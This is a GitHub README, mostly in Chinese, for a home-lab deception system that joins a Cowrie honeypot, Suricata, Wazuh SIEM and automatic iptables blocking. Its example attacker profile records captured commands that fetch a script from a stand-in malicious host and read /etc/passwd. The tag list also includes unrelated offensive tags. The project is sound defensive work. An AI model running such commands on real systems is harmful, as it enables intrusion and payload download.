Harry-Khatri/Honeypot-Based-Intrusion-Detection-with-SIEM-and-automated-response.

GitHub: Harry-Khatri/Honeypot-Based-Intrusion-Detection-with-SIEM-and-automated-response.

一套整合蜜罐、IDS、SIEM 与自动封禁的欺骗式入侵检测系统,通过主动诱捕攻击者实现从检测到自动化响应的完整防御闭环。

Stars: 0 | Forks: 0

# 🍯 HoneyShield — 基于欺骗的入侵检测系统 [![Python](https://img.shields.io/badge/Python-3.10%2B-blue?style=flat-square&logo=python)](https://python.org) [![Wazuh](https://img.shields.io/badge/SIEM-Wazuh-00bcd4?style=flat-square)](https://wazuh.com) [![Suricata](https://img.shields.io/badge/IDS-Suricata-orange?style=flat-square)](https://suricata.io) [![Cowrie](https://img.shields.io/badge/Honeypot-Cowrie-red?style=flat-square)](https://github.com/cowrie/cowrie) [![License](https://img.shields.io/badge/License-MIT-green?style=flat-square)](LICENSE) [![Platform](https://img.shields.io/badge/Platform-Linux-yellow?style=flat-square&logo=linux)](https://linux.org) [架构](#architecture) • [功能](#features) • [安装说明](#setup) • [用法](#usage) • [截图](#screenshots) • [研究](#research)
## 🎯 这是什么? 大多数防御措施都是被动的——它们在发生不好的事情*之后*才做出响应。**HoneyShield** 颠覆了这一模式。 通过部署欺骗层(Cowrie 蜜罐)以及深度包检测(Suricata)、集中式 SIEM 关联、AbuseIPDB 威胁情报和自动化的 `iptables` 封禁,该系统能够: - 将攻击者**诱捕**到受控环境中 - **捕获**攻击者的 TTP(凭据、命令、payload) - 跨多个检测源**关联**事件 - 自动**响应**——在造成实际破坏之前封禁 IP 在个人家庭实验室中构建和部署,并通过 Tailscale VPN 进行远程访问。 ## ✨ 功能 | 功能 | 详情 | |---|---| | 🪤 **Cowrie 蜜罐** | 模拟 SSH (端口 22/2222) 和 Telnet;捕获凭据、命令、文件下载、会话重播 | | 🔬 **Suricata IDS** | 深度包检测,基于特征码的检测,协议分析,暴力破解和扫描检测 | | 📊 **SIEM 集成** | Wazuh 聚合所有日志;自定义仪表板,警报规则,事件关联 | | 🌐 **威胁情报** | AbuseIPDB API 富化——每个攻击者 IP 自动评分和分类 | | 🤖 **自动 IP 封禁** | Python 脚本解析 SIEM 警报 → 实时动态更新 `iptables` 规则 | | 📝 **攻击者画像** | 自定义 Python 脚本构建每个攻击者的画像:使用的命令、尝试的凭据、地理位置 | | 🔒 **VPN 访问** | 整个家庭实验室通过 Tailscale 安全访问(零暴露管理端口) | | 📦 **日志转发** | Filebeat/Syslog 管道将所有日志传送到 SIEM,实现零数据丢失 | ## 🏗️ 架构 ``` ┌─────────────────────────────────────────┐ │ INTERNET / ATTACKERS │ └────────────────┬────────────────────────┘ │ ┌──────▼──────┐ │ Network │ │ Interface │ └──────┬───────┘ ┌───────────┴───────────┐ │ │ ┌──────▼──────┐ ┌──────▼──────┐ │ Suricata │ │ Cowrie │ │ IDS/IPS │ │ Honeypot │ │ │ │ SSH / Telnet │ └──────┬──────┘ └──────┬───────┘ │ │ └──────────┬────────────┘ │ (Filebeat / Syslog) ┌──────▼──────┐ │ Wazuh │ │ SIEM │ │ (Indexer + │ │ Dashboard) │ └──────┬───────┘ │ ┌────────────────┼────────────────┐ │ │ │ ┌──────▼──────┐ ┌──────▼──────┐ ┌──────▼──────┐ │ AbuseIPDB │ │ Attacker │ │ iptables │ │ Threat │ │ Profiler │ │ Auto-Block │ │ Intel │ │ (Python) │ │ (Python) │ └─────────────┘ └─────────────┘ └─────────────┘ ``` ## 📁 仓库结构 ``` honeypot-project/ ├── 📄 README.md ├── 📄 LICENSE ├── 📄 .gitignore │ ├── 📂 scripts/ │ ├── auto_block.py # Parses Wazuh alerts → iptables blocking │ ├── attacker_profiler.py # Builds per-attacker JSON profiles │ ├── threat_intel.py # AbuseIPDB API enrichment │ ├── log_parser.py # Parses Cowrie/Suricata logs │ └── alert_summary.py # Daily digest of top threats │ ├── 📂 config/ │ ├── suricata/ │ │ └── suricata.yaml # Suricata base configuration │ ├── cowrie/ │ │ └── cowrie.cfg # Cowrie honeypot configuration │ └── wazuh/ │ └── custom_rules.xml # Custom Wazuh detection rules │ ├── 📂 docs/ │ ├── SETUP.md # Full installation guide │ ├── ARCHITECTURE.md # Deep-dive architecture notes │ └── RESEARCH_PAPER.md # IEEE-format research paper │ └── 📂 alerts/ └── sample_alerts.json # Example alert output (sanitized) ``` ## 🚀 安装说明 ### 前置条件 - Ubuntu 20.04+ / Debian 11+ - Python 3.10+ - Root / sudo 访问权限 - AbuseIPDB API 密钥(免费版即可) ### 1. 克隆仓库 ``` git clone https://github.com/YOUR_USERNAME/honeypot-project.git cd honeypot-project ``` ### 2. 安装依赖 ``` # System packages sudo apt update && sudo apt install -y suricata python3-pip iptables # Python packages pip3 install -r requirements.txt # Cowrie git clone https://github.com/cowrie/cowrie cd cowrie && pip3 install -r requirements.txt ``` ### 3. 配置 Cowrie ``` cp cowrie/etc/cowrie.cfg.dist cowrie/etc/cowrie.cfg # Edit cowrie.cfg — see config/cowrie/cowrie.cfg for recommended settings ``` ### 4. 配置 Suricata ``` sudo cp config/suricata/suricata.yaml /etc/suricata/suricata.yaml sudo suricata-update # Pull latest rulesets sudo systemctl enable --now suricata ``` ### 5. 设置自动封禁 ``` # Add your AbuseIPDB API key export ABUSEIPDB_API_KEY="your_api_key_here" # Run the auto-blocker (as root) sudo python3 scripts/auto_block.py --alert-log /var/ossec/logs/alerts/alerts.json ``` ### 6. 启动 Cowrie ``` cd cowrie bin/cowrie start ``` ## 🔧 用法 ### 运行攻击者画像分析 ``` python3 scripts/attacker_profiler.py --log cowrie/var/log/cowrie/cowrie.json ``` 为每个攻击者 IP 输出一个 JSON 画像: ``` { "ip": "185.234.219.45", "abuse_score": 97, "country": "NL", "sessions": 12, "credentials_tried": ["root:root", "admin:1234", "ubuntu:ubuntu"], "commands_executed": ["cat /etc/passwd", "wget http://malicious.site/bot.sh"], "first_seen": "2025-01-14T08:22:11Z", "last_seen": "2025-01-14T08:47:33Z" } ``` ### 运行威胁情报富化 ``` python3 scripts/threat_intel.py --ip 185.234.219.45 ``` ### 生成每日警报摘要 ``` python3 scripts/alert_summary.py --date today ``` ## 📊 示例警报类别 | 警报类型 | 严重程度 | 示例规则 | |---|---|---| | SSH 暴力破解 | 🔴 高 | 60 秒内来自同一 IP 的 >5 次失败身份验证 | | 端口扫描 | 🟡 中 | 5 秒内对 10 个以上端口进行 SYN 扫描 | | 恶意软件 C2 通信 | 🔴 严重 | DNS 查询中包含已知的恶意域名/IP | | 未授权访问尝试 | 🔴 高 | 成功登录蜜罐 | | 凭据填充 | 🟡 中 | 来自泄露列表中的已知凭据对 | ## 🔬 研究 本项目是一篇 IEEE 格式学术论文的基础: 完整论文请参阅 [`docs/RESEARCH_PAPER.md`](docs/RESEARCH_PAPER.md)。 ## 🛡️ 安全注意事项 - 管理界面只能通过 Tailscale VPN 访问 - 所有蜜罐端口与生产系统完全隔离 - IP 封禁通过 `iptables` INPUT 链完成——不影响出站流量 - Cowrie 日志在共享前会经过脱敏处理 ## 🔮 未来增强计划 - [ ] 基于机器学习的会话行为异常检测 - [ ] SOAR 集成 (TheHive / Shuffle) - [ ] 基于 GeoIP 的封禁规则 - [ ] 实时 Telegram/WhatsApp 警报 - [ ] 云部署 (AWS/Azure 蜜罐节点) - [ ] ELK stack 迁移路径 ## 📄 许可证 MIT 许可证——详情请参阅 [LICENSE](LICENSE)。
**由 [Harry (Harudhan Kapoor)](https://linkedin.com/in/YOUR_LINKEDIN) 构建** SOC 分析师 | B.Tech CSE @ GH Raisoni College of Engineering, Nagpur *一次一个蜜罐,将攻击者转化为威胁情报。*
标签:AbuseIPDB, BOF, Cloudflare, Homelab, HTTP工具, iptables, IP 地址批量处理, Metaprompt, MITRE ATT&CK, PE 加载器, Python, SSH蜜罐, Suricata, Tailscale, Telnet蜜罐, VPN, Wazuh, 免杀技术, 入侵检测系统, 凭据捕获, 威胁情报, 子域名变形, 安全信息与事件管理, 安全数据湖, 家庭实验室, 开发者工具, 插件系统, 搜索引擎爬取, 攻击者画像, 无后门, 无控制台执行, 无线安全, 日志关联分析, 暴力破解检测, 欺骗防御, 深度包检测, 现代安全运营, 网络安全, 网络安全分析, 网络扫描检测, 自动IP封堵, 蜜罐, 证书利用, 进程注入, 逆向工具, 隐私保护